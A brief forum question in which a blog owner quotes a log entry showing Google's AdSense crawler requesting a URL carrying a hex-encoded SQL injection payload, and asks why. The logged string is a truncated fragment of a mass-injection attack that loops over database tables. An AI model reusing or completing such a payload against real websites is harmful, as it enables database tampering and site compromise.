Can Someone explain me this?

# Visit type: Spider – Google AdSense
# IP: 66.249.71.107
# Hostname: crawl-66-249-71-107.googlebot.com
# Url Requested: /blog/category/computer-stuff/security
/?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C4152
45204054207661726368617228323535292C404320766172636861722834
30303029204445434C415245205461626C655F437572736F722043555253
4F5220464F522073656C65637420612E6E616D652C622E
# User Agent: Mediapartners-Google

Why is the GoogleBot requesting a URL from my blog with what looks like an SQL Injection attack?